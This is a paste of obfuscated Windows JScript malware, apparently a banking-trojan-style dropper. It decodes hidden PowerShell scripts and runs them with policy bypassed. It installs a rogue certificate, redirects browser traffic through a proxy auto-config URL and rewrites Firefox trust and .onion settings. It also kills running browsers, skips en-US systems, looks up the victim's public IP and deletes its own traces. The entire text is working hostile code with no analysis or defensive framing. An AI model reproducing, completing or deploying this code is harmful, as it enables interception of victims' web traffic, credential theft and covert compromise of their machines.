r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}};
- var GWpzQU={
- bhz:function(sAXW,njchSPjAAsrGv){
- var iBDEXjLRBiGrEdq = new ActiveXObject("ADODB.Stream");
- iBDEXjLRBiGrEdq.Open();
- iBDEXjLRBiGrEdq.Type=BINARY_STREAM_TYPE;
- var UXdQcebc = new ActiveXObject("ADODB.Recordset");
- var PnoxLFQZ=njchSPjAAsrGv.length*2;
- UXdQcebc.Fields.Append("data",204,PnoxLFQZ,0x80);
- UXdQcebc.Open();
- UXdQcebc.AddNew();
- UXdQcebc.Fields("data").AppendChunk(njchSPjAAsrGv);
- UXdQcebc.Update();
- UXdQcebc.MoveFirst();
- var binArray = UXdQcebc("data").GetChunk(PnoxLFQZ);
- UXdQcebc.Close();
- eval("iBDEXjLRBiGrEdq.Wri" + "te(bin"+"Array)");
- iBDEXjLRBiGrEdq.Position=0;
- if(BqWe.FileExists(sAXW)){
- BqWe.DeleteFile(sAXW);
- }
- iBDEXjLRBiGrEdq.SaveToFile(sAXW);
- iBDEXjLRBiGrEdq.Close();
- var outStreamA = new ActiveXObject("ADODB.Stream");
- var outStreamB = new ActiveXObject("ADODB.Stream");
- outStreamA.Type=TEXT_STREAM_TYPE;
- outStreamB.Type=TEXT_STREAM_TYPE;
- outStreamB.Charset = "ISO-8859-1";
- outStreamA.Open();
- outStreamB.Open();
- outStreamA.LoadFromFile(sAXW);
- outStreamA.Position = 0;
- outStreamA.CopyTo(outStreamB);
- outStreamA.Close();
- outStreamB.SaveToFile(sAXW,CREATE_OVERWRITE_SAVE_MODE);
- outStreamB.Close();
- },
- bUGrvMiuhQmDl: function(m, n){
- m = parseInt(m,10);
- n = parseInt(n,10);
- return Math.floor(Math.random() * (n - m + 1)) + m;
- },
- oNOe: function(mRKx, RACzDQqSItEm){
- var lrRVjsPuBt = 0;
- var OthvoKMbhIWs = "";
- var xGtJnBEPWIFViM;
- if (RACzDQqSItEm === undefined) {
- RACzDQqSItEm = false;
- }
- while (lrRVjsPuBt < mRKx) {
- xGtJnBEPWIFViM = (Math.floor((Math.random() * 100)) % 94) + 33;
- if (!RACzDQqSItEm) {
- if ((xGtJnBEPWIFViM >= 33) && (xGtJnBEPWIFViM <= 47)) {
- continue;
- }
- if ((xGtJnBEPWIFViM >= 58) && (xGtJnBEPWIFViM <= 64)) {
- continue;
- }
- if ((xGtJnBEPWIFViM >= 91) && (xGtJnBEPWIFViM <= 96)) {
- continue;
- }
- if ((xGtJnBEPWIFViM >= 123) && (xGtJnBEPWIFViM <= 126)) {
- continue;
- }
- }
- lrRVjsPuBt++;
- OthvoKMbhIWs += String.fromCharCode(xGtJnBEPWIFViM);
- }
- return OthvoKMbhIWs;
- },
- bhhkgtVeG: function(str){
- return str.replace(/(^\s+)|(\s+$)/g, "");
- }
- };
- if (!String.format) {
- String.format = function(format) {
- var args = Array.prototype.slice.call(arguments, 1);
- return format.replace(/{(\d+)}/g, function(match, number) {
- return typeof args[number] != "undefined"
- ? args[number]
- : match
- ;
- });
- };
- }
- function vRltLHptUir(){
- this.nkR=GWpzQU.oNOe(8)+".ps1";
- this.gIJtqD=function(){
- var xmMrjOrLSCBp = new ActiveXObject("MSXML2"+".XML"+"HTTP");
- try{
- xmMrjOrLSCBp.open("GET","http://api.ipify.org/",false);
- xmMrjOrLSCBp.send();
- if(xmMrjOrLSCBp.status==200){
- return GWpzQU.bhhkgtVeG(xmMrjOrLSCBp.responseText);
- }
- }catch(e){}
- try{
- xmMrjOrLSCBp.open("GET","http://icanhazip.com/",false);
- xmMrjOrLSCBp.send();
- if(xmMrjOrLSCBp.status==200){
- return GWpzQU.bhhkgtVeG(xmMrjOrLSCBp.responseText);
- }
- }catch(e){}
- return "";
- };
- this.RJuFsWh=function(){
- SfDYSWjMtqZdc.RegWrite(tDcjphyRteGR.ySMYrGCygMrKTF("SEtDV"+"VxTb2Z0d2FyZVxNaWNyb3NvZ"+"nRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm"+"5ldCBTZXR0aW5nc1xBdXRvRGV0ZWN0"),0,"REG_DWORD");
- for(var i=0;i<5;i++){
- var tHPrEuIDJRJP=this.gIJtqD();
- if(tHPrEuIDJRJP.length>0){
- this.LMiPXRhIhwjfbtr(String.format("http://127.0.0.1:5555/{0}.js?ip={1}",GWpzQU.oNOe(8),tHPrEuIDJRJP));
- }
- }
- };
- this.LMiPXRhIhwjfbtr=function(s){
- SfDYSWjMtqZdc.RegWrite(tDcjphyRteGR.ySMYrGCygMrKTF("SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xBdXRvQ29uZmlnVVJM"),s,"REG_SZ");
- };
- this.CazR=function(){
- this.nkR=uEbyxL+"\\"+this.nkR;
- var njchSPjAAsrGv=tDcjphyRteGR.ySMYrGCygMrKTF(NRmtSlqPg.DOfLfSvBzZqfn);
- njchSPjAAsrGv=njchSPjAAsrGv.replace("%CERT%",NRmtSlqPg.dozVKbPFE);
- GWpzQU.bhz(this.nkR,njchSPjAAsrGv);
- SfDYSWjMtqZdc.Run("cmd /c powershell -ep Unrestricted -f \""+this.nkR+"\" | find /v \"\" >> \""+ZbisOc+"\"",0,true);
- };
- this.SGxfCyrf=function(){
- if(BqWe.FileExists(this.nkR)){
- BqWe.DeleteFile(this.nkR);
- }
- };
- }
- function Vgy(){
- var mPqQSanDVJ = jYSszGucQQBPCdR + "\\Mozilla\\Firefox\\Profiles";
- this.DynzlnIKLJAZQz=GWpzQU.oNOe(8)+".ps1";
- this.locR=function(){
- if(BqWe.FolderExists(mPqQSanDVJ)){
- var ArrFirefoxProfileList=BqWe.GetFolder(mPqQSanDVJ).SubFolders;
- if(ArrFirefoxProfileList.Count>0){
- var e = new Enumerator(ArrFirefoxProfileList);
- e.moveFirst();
- while (e.atEnd() == false){
- var folder=e.item();
- if(folder.Name.indexOf(".default")>-1){
- return folder.Path;
- }
- e.moveNext();
- }
- }
- }
- return false;
- };
- this.InstallPac=function(){
- var StrProfile=this.locR();
- if(StrProfile!=false){
- var StrPrefsJs=StrProfile+tDcjphyRteGR.ySMYrGCygMrKTF("XHByZWZzLmpz");
- if(BqWe.FileExists(StrPrefsJs)){
- var StrContent=BqWe.OpenTextFile(StrPrefsJs,1).ReadAll();
- var ArrContent=StrContent.split("\n");
- var NewArrContent=[];
- for(var i=0;i<ArrContent.length;i++){
- if(ArrContent[i].indexOf("network.dns.blockDotOnion")!=-1){
- ArrContent[i]=ArrContent[i].replace("true","false");
- }
- if(ArrContent[i].indexOf("network.proxy.")==-1 && ArrContent[i].indexOf("security.enterprise_roots.enabled")==-1){
- NewArrContent.push(ArrContent[i]);
- }
- }
- NewArrContent.push("user_pref(\"network.dns.blockDotOnion\", false);");
- NewArrContent.push("user_pref(\"security.enterprise_roots.enabled\", true);");
- StrContent=NewArrContent.join("\n");
- var stream=BqWe.CreateTextFile(StrPrefsJs, true);
- stream.Write(StrContent);
- stream.Close();
- }
- }
- };
- this.InstallCert=function(){
- this.DynzlnIKLJAZQz=uEbyxL+"\\"+this.DynzlnIKLJAZQz;
- var njchSPjAAsrGv=tDcjphyRteGR.ySMYrGCygMrKTF(NRmtSlqPg.OpVKtSTwVew);
- njchSPjAAsrGv=njchSPjAAsrGv.replace("%CERT%",NRmtSlqPg.dozVKbPFE);
- GWpzQU.bhz(this.DynzlnIKLJAZQz,njchSPjAAsrGv);
- var ENV_WINDIR=SfDYSWjMtqZdc.ExpandEnvironmentStrings("%WINDIR%");
- SfDYSWjMtqZdc.Run("cmd /c powershell -ep bypass -f \""+this.DynzlnIKLJAZQz+"\" | find /v \"\" >> \""+ZbisOc+"\"",0,true);
- SfDYSWjMtqZdc.Run("cmd /c "+ENV_WINDIR+"\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -ep bypass -f \""+this.DynzlnIKLJAZQz+"\" | find /v \"\" >> \""+ZbisOc+"\"",0,true);
- SfDYSWjMtqZdc.Run("cmd /c "+ENV_WINDIR+"\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -ep bypass -f \""+this.DynzlnIKLJAZQz+"\" | find /v \"\" >> \""+ZbisOc+"\"",0,true);
- };
- this.Close=function(){
- if(BqWe.FileExists(this.DynzlnIKLJAZQz)){
- BqWe.DeleteFile(this.DynzlnIKLJAZQz);
- }
- };
- }
- function C_TP(){
- this.FileName=GWpzQU.oNOe(GWpzQU.bUGrvMiuhQmDl(5,10))+".ps1";
- this.Install=function(){
- var indexDomain=GWpzQU.bUGrvMiuhQmDl(0,NRmtSlqPg.SDOFNoZOAPx.length-1);
- var Domain=NRmtSlqPg.SDOFNoZOAPx[indexDomain];
- this.FileName=SfDYSWjMtqZdc.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")+"\\"+this.FileName;
- var njchSPjAAsrGv=tDcjphyRteGR.ySMYrGCygMrKTF(NRmtSlqPg.hImOvMQDBNQBF);
- njchSPjAAsrGv=njchSPjAAsrGv.replace(/%DOMAIN%/g,Domain);
- GWpzQU.bhz(this.FileName,njchSPjAAsrGv);
- SfDYSWjMtqZdc.Run("cmd /c powershell -ep Unrestricted -f \""+this.FileName+"\" | find /v \"\" >> \""+ZbisOc+"\"",0,true);
- };
- this.Close=function(){
- if(BqWe.FileExists(this.FileName)){
- BqWe.DeleteFile(this.FileName);
- }
- };
- }
- function GYrec(){
- this.FileName=uEbyxL+"\\"+GWpzQU.oNOe(8)+".ps1";
- this.sAvCl=function(){
- hajL=new vRltLHptUir();
- EwuiIaEpfW=new Vgy();
- uDsmTvxqmi=new C_TP();
- };
- this.OrdnwetBNzjJ=function(){
- if(this.NaAqaLzo()){
- return false;
- }
- this.sAvCl();
- uDsmTvxqmi.Install();
- this.MkMZHmMcj();
- this.qaUdjysprcVxxbW();
- this.bufrNNVmG();
- this.Close();
- this.IJqCMRAHPfgNOF();
- };
- this.qaUdjysprcVxxbW=function(){
- hajL.CazR();
- hajL.RJuFsWh();
- };
- this.bufrNNVmG=function(){
- EwuiIaEpfW.InstallCert();
- EwuiIaEpfW.InstallPac();
- };
- this.MkMZHmMcj=function(){
- SfDYSWjMtqZdc.Run(tDcjphyRteGR.ySMYrGCygMrKTF("dGFza2tpbGwgL0Y"+"gL2ltIGlleHBsb3JlLmV4ZQ=="),0,false);
- SfDYSWjMtqZdc.Run(tDcjphyRteGR.ySMYrGCygMrKTF("dGFza2tpbGwgL0Yg"+"L2ltIGZpcmVmb3guZXhl"),0,false);
- SfDYSWjMtqZdc.Run(tDcjphyRteGR.ySMYrGCygMrKTF("dGFza2tpbGwgL0YgL"+"2ltIGNocm9tZS5leGU="),0,false);
- };
- this.IJqCMRAHPfgNOF=function(){
- var bData=tDcjphyRteGR.ySMYrGCygMrKTF(NRmtSlqPg.xeTyaqtDyybP);
- GWpzQU.bhz(this.FileName,bData);
- SfDYSWjMtqZdc.Run("powershell -ep Unrestricted -f \""+this.FileName+"\"",0,true);
- if(BqWe.FileExists(this.FileName)){
- BqWe.DeleteFile(this.FileName);
- }
- };
- this.NaAqaLzo=function(){
- var yIJcaz = GetObject("winmgmts:\\\\.\\root\\cimv2").ExecQuery("Select * from Win32_OperatingSystem");
- var arr = [];
- for (var enumItems = new Enumerator(yIJcaz) ; !enumItems.atEnd() ; enumItems.moveNext()) {
- var MUILanguages = enumItems.item().MUILanguages.toArray();
- for (i in MUILanguages) {
- arr.push(MUILanguages[i]);
- }
- }
- var muilangs = arr.join(",");
- if(muilangs=='en-US'){
- return true;
- }
- return false;
- }
- this.Close=function(){
- hajL.SGxfCyrf();
- EwuiIaEpfW.Close();
- uDsmTvxqmi.Close();
- };
- }
- var jaiJLxbBVKu = new GYrec();
- jaiJLxbBVKu.OrdnwetBNzjJ();
Advertisement
Add Comment
Please, Sign In to add comment